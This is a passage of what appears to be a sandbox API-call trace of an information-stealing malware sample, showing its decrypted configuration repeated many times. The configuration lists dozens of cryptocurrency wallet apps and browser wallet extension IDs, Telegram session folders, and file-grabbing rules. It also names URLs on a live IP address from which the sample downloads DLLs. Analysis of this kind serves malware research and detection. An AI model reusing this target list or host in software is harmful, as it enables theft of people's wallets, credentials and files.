Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.255] StrStrW (lpFirst="elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.255] StrStrW (lpFirst="ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.256] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension 